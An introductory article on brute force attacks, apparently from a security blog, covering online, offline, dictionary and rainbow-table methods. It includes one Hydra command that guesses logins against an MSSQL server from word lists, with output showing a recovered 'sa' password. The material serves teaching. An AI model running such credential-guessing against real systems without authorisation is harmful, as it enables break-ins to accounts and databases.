By: Ryan Stewart

Brute Force Attacks

A brute force attack refers to the systematic trial and error method employed to uncover usernames, passwords, or directories on a webpage, or decrypt encryption keys. The duration of such attacks varies based on the complexity and length of the targeted sensitive data. While simple passwords or usernames may be deciphered quickly, **complex expressions may require years.**

```
root@kali:~# hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.128 mssq
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service o

Hydra (http://www.thc.org/thc-hydra) starting at 2018-03-15 04:01:36
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per
[DATA] attacking mssql://192.168.1.128:1433/
[ERROR] Child with pid 1536 terminating, can not connect
[ERROR] Child with pid 1535 terminating, can not connect
[ERROR] Child with pid 1524 terminating, can not connect
[ERROR] Child with pid 1525 terminating, can not connect
[ERROR] Child with pid 1530 terminating, can not connect
[ERROR] Child with pid 1527 terminating, can not connect
[ERROR] Child with pid 1522 terminating, can not connect
[ERROR] Child with pid 1534 terminating, can not connect
[ERROR] Child with pid 1529 terminating, can not connect
[ERROR] Child with pid 1523 terminating, can not connect
[ERROR] Child with pid 1526 terminating, can not connect
[ERROR] Child with pid 1528 terminating, can not connect
[ERROR] Child with pid 1531 terminating, can not connect
[ERROR] Child with pid 1532 terminating, can not connect
[ERROR] Child with pid 1533 terminating, can not connect
[ERROR] Child with pid 1537 terminating, can not connect
[1433][mssql] host: 192.168.1.128   login: sa   password: apple@123456
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-03-15 04:01:43
```

Brute force attacks can be broadly categorized into two types:

Online Brute Force Attacks

Passive Online Brute Force Attacks

In passive online brute force attacks, the attacker and victim share the same network but do not have direct contact. Examples include:

- ***Man in the Middle:*** Listening to traffic between the environment and the target machine, attempting to capture passwords.

- ***Sniffing:*** Effective in the presence of a hub and the use of network tools, such as capturing data packets on the same network.

Active Online Brute Force Attacks

In active online brute force attacks, the attacker directly communicates with the victim machine and attempts trials on relevant services, such as web servers, email servers, SSH, RDP, or databases. This method is advantageous for simple passwords but may not work effectively for strong passwords in the short term, potentially causing account lockouts.

Offline Brute Force Attacks

Offline brute force attacks are conducted on **previously** captured encrypted or hashed data. The attacker does not need an active connection with the victim machine and can perform the **attack on password files** obtained through various means, such as capturing packets on wireless networks or e**xploiting SQL injection vulnerabilities.**

Three common methods are:

Dictionary Attacks

A result of using common passwords, the attacker tests each word from a **prepared** dictionary on the target system.

Brute Force Attacks

Trying all possibilities in a certain range **systematically**, this method is time-consuming for complex passwords, depending on the hardware used.

Rainbow Table Attacks

Password possibilities in a certain range are pre-calculated and stored in a rainbow table. The attacker compares the pre-calculated hash file with the password hash to crack it quickly. Creating a rainbow table requires significant processing power and disk space.